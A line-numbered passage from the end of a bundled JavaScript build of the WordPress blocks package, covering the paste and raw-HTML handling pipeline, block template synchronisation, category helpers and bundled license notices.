9979 }
9980 if (node.tagName === "B") {
9981 (0, import_dom10.unwrap)(node);
9982 } else {
9983 node.removeAttribute("id");
9984 }
9985 }
9986
9987 // packages/blocks/build-module/api/raw-handling/html-formatting-remover.mjs
9988 function isFormattingSpace(character) {
9989 return character === " " || character === "\r" || character === "\n" || character === " ";
9990 }
9991 function htmlFormattingRemover(node) {
9992 if (node.nodeType !== node.TEXT_NODE) {
9993 return;
9994 }
9995 let parent = node;
9996 while (parent = parent.parentNode) {
9997 if (parent.nodeType === parent.ELEMENT_NODE && parent.nodeName === "PRE") {
9998 return;
9999 }
10000 }
10001 let newData = node.data.replace(/[ \r\n\t]+/g, " ");
10002 if (newData[0] === " ") {
10003 const previousSibling = getSibling(node, "previous");
10004 if (!previousSibling || previousSibling.nodeName === "BR" || previousSibling.textContent.slice(-1) === " ") {
10005 newData = newData.slice(1);
10006 }
10007 }
10008 if (newData[newData.length - 1] === " ") {
10009 const nextSibling = getSibling(node, "next");
10010 if (!nextSibling || nextSibling.nodeName === "BR" || nextSibling.nodeType === nextSibling.TEXT_NODE && isFormattingSpace(nextSibling.textContent[0])) {
10011 newData = newData.slice(0, -1);
10012 }
10013 }
10014 if (!newData) {
10015 node.parentNode.removeChild(node);
10016 } else {
10017 node.data = newData;
10018 }
10019 }
10020
10021 // packages/blocks/build-module/api/raw-handling/br-remover.mjs
10022 function brRemover(node) {
10023 if (node.nodeName !== "BR") {
10024 return;
10025 }
10026 if (getSibling(node, "next")) {
10027 return;
10028 }
10029 node.parentNode.removeChild(node);
10030 }
10031
10032 // packages/blocks/build-module/api/raw-handling/empty-paragraph-remover.mjs
10033 function emptyParagraphRemover(node) {
10034 if (node.nodeName !== "P") {
10035 return;
10036 }
10037 if (node.hasChildNodes()) {
10038 return;
10039 }
10040 node.parentNode.removeChild(node);
10041 }
10042
10043 // packages/blocks/build-module/api/raw-handling/slack-paragraph-corrector.mjs
10044 function slackParagraphCorrector(node) {
10045 if (node.nodeName !== "SPAN") {
10046 return;
10047 }
10048 if (node.getAttribute("data-stringify-type") !== "paragraph-break") {
10049 return;
10050 }
10051 const { parentNode } = node;
10052 parentNode.insertBefore(node.ownerDocument.createElement("br"), node);
10053 parentNode.insertBefore(node.ownerDocument.createElement("br"), node);
10054 parentNode.removeChild(node);
10055 }
10056
10057 // packages/blocks/build-module/api/raw-handling/latex-to-math.mjs
10058 function isLatexMathMode(text2) {
10059 const lettersRegex = /[\p{L}\s]+/gu;
10060 let match;
10061 while (match = lettersRegex.exec(text2)) {
10062 if (text2[match.index - 1] === "{") {
10063 continue;
10064 }
10065 let sequence = match[0];
10066 if (text2[match.index - 1] === "\\") {
10067 sequence = sequence.replace(/^[a-zA-Z]+/, "");
10068 }
10069 if (sequence.length < 6) {
10070 continue;
10071 }
10072 return false;
10073 }
10074 if (/\\[a-zA-Z]+\s*\{/g.test(text2)) {
10075 return true;
10076 }
10077 const softClues = [
10078 (t3) => t3.includes("^") && !t3.startsWith("^"),
10079 (t3) => ["=", "+", "-", "/", "*"].some(
10080 (operator) => t3.includes(operator)
10081 ),
10082 (t3) => /\\[a-zA-Z]+/g.test(t3)
10083 ];
10084 if (softClues.filter((clue) => clue(text2)).length >= 2) {
10085 return true;
10086 }
10087 return false;
10088 }
10089
10090 // packages/blocks/build-module/api/raw-handling/heading-transformer.mjs
10091 function headingTransformer(node) {
10092 if (node.nodeType !== node.ELEMENT_NODE) {
10093 return;
10094 }
10095 if (node.tagName === "P" && node.getAttribute("role") === "heading" && node.hasAttribute("aria-level")) {
10096 const level = parseInt(node.getAttribute("aria-level"), 10);
10097 if (level >= 1 && level <= 6) {
10098 const headingTag = `H${level}`;
10099 const newHeading = node.ownerDocument.createElement(headingTag);
10100 Array.from(node.attributes).forEach((attr2) => {
10101 if (attr2.name !== "role" && attr2.name !== "aria-level") {
10102 newHeading.setAttribute(attr2.name, attr2.value);
10103 }
10104 });
10105 while (node.firstChild) {
10106 newHeading.appendChild(node.firstChild);
10107 }
10108 node.parentNode.replaceChild(newHeading, node);
10109 }
10110 }
10111 }
10112
10113 // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
10114 var log = (...args) => window?.console?.log?.(...args);
10115 function filterInlineHTML(HTML) {
10116 HTML = deepFilterHTML(HTML, [
10117 headRemover,
10118 googleDocsUIdRemover,
10119 msListIgnore,
10120 phrasingContentReducer,
10121 commentRemover
10122 ]);
10123 HTML = (0, import_dom11.removeInvalidHTML)(HTML, (0, import_dom11.getPhrasingContentSchema)("paste"), {
10124 inline: true
10125 });
10126 HTML = deepFilterHTML(HTML, [htmlFormattingRemover, brRemover]);
10127 log("Processed inline HTML:\n\n", HTML);
10128 return HTML;
10129 }
10130 function pasteHandler({
10131 HTML = "",
10132 plainText = "",
10133 mode = "AUTO",
10134 tagName
10135 }) {
10136 log("Received HTML (pasteHandler):\n\n", HTML);
10137 log("Received plain text (pasteHandler):\n\n", plainText);
10138 HTML = HTML.replace(/<meta[^>]+>/g, "");
10139 HTML = HTML.replace(
10140 /^\s*<html[^>]*>\s*<body[^>]*>(?:\s*<!--\s*StartFragment\s*-->)?/i,
10141 ""
10142 );
10143 HTML = HTML.replace(
10144 /(?:<!--\s*EndFragment\s*-->\s*)?<\/body>\s*<\/html>\s*$/i,
10145 ""
10146 );
10147 if (mode !== "INLINE") {
10148 const content = HTML ? HTML : plainText;
10149 if (content.indexOf("<!-- wp:") !== -1) {
10150 const parseResult = parse2(content);
10151 const isSingleFreeFormBlock = parseResult.length === 1 && parseResult[0].name === "core/freeform";
10152 if (!isSingleFreeFormBlock) {
10153 return parseResult;
10154 }
10155 }
10156 }
10157 if (String.prototype.normalize) {
10158 HTML = HTML.normalize();
10159 }
10160 HTML = deepFilterHTML(HTML, [slackParagraphCorrector]);
10161 const isPlainText = plainText && (!HTML || isPlain(HTML));
10162 if (isPlainText && isLatexMathMode(plainText)) {
10163 return [createBlock("core/math", { latex: plainText })];
10164 }
10165 if (isPlainText) {
10166 HTML = plainText;
10167 if (!/^\s+$/.test(plainText)) {
10168 HTML = markdownConverter(HTML);
10169 }
10170 }
10171 const pieces = shortcode_converter_default(HTML);
10172 const hasShortcodes = pieces.length > 1;
10173 if (isPlainText && !hasShortcodes) {
10174 if (mode === "AUTO" && plainText.indexOf("\n") === -1 && plainText.indexOf("<p>") !== 0 && HTML.indexOf("<p>") === 0) {
10175 mode = "INLINE";
10176 }
10177 }
10178 if (mode === "INLINE") {
10179 return filterInlineHTML(HTML);
10180 }
10181 if (mode === "AUTO" && !hasShortcodes && isInlineContent(HTML, tagName)) {
10182 return filterInlineHTML(HTML);
10183 }
10184 const phrasingContentSchema = (0, import_dom11.getPhrasingContentSchema)("paste");
10185 const blockContentSchema = getBlockContentSchema("paste");
10186 const blocks = pieces.map((piece) => {
10187 if (typeof piece !== "string") {
10188 return piece;
10189 }
10190 const filters = [
10191 googleDocsUIdRemover,
10192 msListConverter,
10193 headRemover,
10194 listReducer,
10195 imageCorrector,
10196 phrasingContentReducer,
10197 specialCommentConverter,
10198 commentRemover,
10199 iframeRemover,
10200 figureContentReducer,
10201 blockquoteNormaliser(),
10202 divNormaliser,
10203 headingTransformer
10204 ];
10205 const schema = {
10206 ...blockContentSchema,
10207 // Keep top-level phrasing content, normalised by `normaliseBlocks`.
10208 ...phrasingContentSchema
10209 };
10210 piece = deepFilterHTML(piece, filters, blockContentSchema);
10211 piece = (0, import_dom11.removeInvalidHTML)(piece, schema);
10212 piece = normaliseBlocks(piece);
10213 piece = deepFilterHTML(
10214 piece,
10215 [htmlFormattingRemover, brRemover, emptyParagraphRemover],
10216 blockContentSchema
10217 );
10218 log("Processed HTML piece:\n\n", piece);
10219 return htmlToBlocks(piece, pasteHandler);
10220 }).flat().filter(Boolean);
10221 if (mode === "AUTO" && blocks.length === 1 && hasBlockSupport(blocks[0].name, "__unstablePasteTextInline", false)) {
10222 const trimRegex = /^[\n]+|[\n]+$/g;
10223 const trimmedPlainText = plainText.replace(trimRegex, "");
10224 if (trimmedPlainText !== "" && trimmedPlainText.indexOf("\n") === -1) {
10225 return (0, import_dom11.removeInvalidHTML)(
10226 getBlockInnerHTML(blocks[0]),
10227 phrasingContentSchema
10228 ).replace(trimRegex, "");
10229 }
10230 }
10231 return blocks;
10232 }
10233
10234 // packages/blocks/build-module/api/raw-handling/index.mjs
10235 function deprecatedGetPhrasingContentSchema(context) {
10236 (0, import_deprecated10.default)("wp.blocks.getPhrasingContentSchema", {
10237 since: "5.6",
10238 alternative: "wp.dom.getPhrasingContentSchema"
10239 });
10240 return (0, import_dom12.getPhrasingContentSchema)(context);
10241 }
10242 function rawHandler({ HTML = "" }) {
10243 if (HTML.indexOf("<!-- wp:") !== -1) {
10244 const parseResult = parse2(HTML);
10245 const isSingleFreeFormBlock = parseResult.length === 1 && parseResult[0].name === "core/freeform";
10246 if (!isSingleFreeFormBlock) {
10247 return parseResult;
10248 }
10249 }
10250 const pieces = shortcode_converter_default(HTML);
10251 const blockContentSchema = getBlockContentSchema();
10252 return pieces.map((piece) => {
10253 if (typeof piece !== "string") {
10254 return piece;
10255 }
10256 const filters = [
10257 // Needed to adjust invalid lists.
10258 listReducer,
10259 // Needed to create more and nextpage blocks.
10260 specialCommentConverter,
10261 // Needed to create media blocks.
10262 figureContentReducer,
10263 // Needed to create the quote block, which cannot handle text
10264 // without wrapper paragraphs.
10265 blockquoteNormaliser({ raw: true })
10266 ];
10267 piece = deepFilterHTML(piece, filters, blockContentSchema);
10268 piece = normaliseBlocks(piece, { raw: true });
10269 return htmlToBlocks(piece, rawHandler);
10270 }).flat().filter(Boolean);
10271 }
10272
10273 // packages/blocks/build-module/api/categories.mjs
10274 var import_data6 = __toESM(require_data(), 1);
10275 function getCategories2() {
10276 return (0, import_data6.select)(store).getCategories();
10277 }
10278 function setCategories2(categories2) {
10279 (0, import_data6.dispatch)(store).setCategories(categories2);
10280 }
10281 function updateCategory2(slug, category) {
10282 (0, import_data6.dispatch)(store).updateCategory(slug, category);
10283 }
10284
10285 // packages/blocks/build-module/api/templates.mjs
10286 var import_element5 = __toESM(require_element(), 1);
10287 function doBlocksMatchTemplate(blocks = [], template = []) {
10288 return blocks.length === template.length && template.every(([name, , innerBlocksTemplate], index) => {
10289 const block = blocks[index];
10290 return name === block.name && doBlocksMatchTemplate(block.innerBlocks, innerBlocksTemplate);
10291 });
10292 }
10293 var isHTMLAttribute = (attributeDefinition) => attributeDefinition?.source === "html";
10294 var isQueryAttribute = (attributeDefinition) => attributeDefinition?.source === "query";
10295 function normalizeAttributes(schema, values) {
10296 if (!values) {
10297 return {};
10298 }
10299 return Object.fromEntries(
10300 Object.entries(values).map(([key, value]) => [
10301 key,
10302 normalizeAttribute(schema[key], value)
10303 ])
10304 );
10305 }
10306 function normalizeAttribute(definition, value) {
10307 if (isHTMLAttribute(definition) && Array.isArray(value)) {
10308 return (0, import_element5.renderToString)(value);
10309 }
10310 if (isQueryAttribute(definition) && value) {
10311 return value.map((subValues) => {
10312 return normalizeAttributes(definition.query, subValues);
10313 });
10314 }
10315 return value;
10316 }
10317 function synchronizeBlocksWithTemplate(blocks = [], template) {
10318 if (!template) {
10319 return blocks;
10320 }
10321 return template.map(
10322 ([name, attributes, innerBlocksTemplate], index) => {
10323 const block = blocks[index];
10324 if (block && block.name === name) {
10325 const innerBlocks = synchronizeBlocksWithTemplate(
10326 block.innerBlocks,
10327 innerBlocksTemplate
10328 );
10329 return { ...block, innerBlocks };
10330 }
10331 const blockType = getBlockType(name);
10332 const normalizedAttributes = normalizeAttributes(
10333 blockType?.attributes ?? {},
10334 attributes
10335 );
10336 const [blockName, blockAttributes] = convertLegacyBlockNameAndAttributes(
10337 name,
10338 normalizedAttributes
10339 );
10340 return createBlock(
10341 blockName,
10342 blockAttributes,
10343 synchronizeBlocksWithTemplate([], innerBlocksTemplate)
10344 );
10345 }
10346 );
10347 }
10348
10349 // packages/blocks/build-module/api/index.mjs
10350 var fieldsKey = /* @__PURE__ */ Symbol("fields");
10351 var formKey = /* @__PURE__ */ Symbol("form");
10352 var privateApis = {};
10353 lock(privateApis, {
10354 isContentBlock,
10355 fieldsKey,
10356 formKey,
10357 parseRawBlock
10358 });
10359
10360 // packages/blocks/build-module/deprecated.mjs
10361 var import_deprecated11 = __toESM(require_deprecated(), 1);
10362 function withBlockContentContext(OriginalComponent) {
10363 (0, import_deprecated11.default)("wp.blocks.withBlockContentContext", {
10364 since: "6.1"
10365 });
10366 return OriginalComponent;
10367 }
10368 return __toCommonJS(index_exports);
10369})();
10370/*! Bundled license information:
10371
10372react-is/cjs/react-is.development.js:
10373 (**
10374 * @license React
10375 * react-is.development.js
10376 *
10377 * Copyright (c) Facebook, Inc. and its affiliates.
10378 *
10379 * This source code is licensed under the MIT license found in the
10380 * LICENSE file in the root directory of this source tree.
10381 *)
10382
10383showdown/dist/showdown.js:
10384 (*! showdown v 1.9.1 - 02-11-2019 *)
10385
10386is-plain-object/dist/is-plain-object.mjs:
10387 (*!
10388 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
10389 *
10390 * Copyright (c) 2014-2017, Jon Schlinkert.
10391 * Released under the MIT License.
10392 *)
10393*/
10394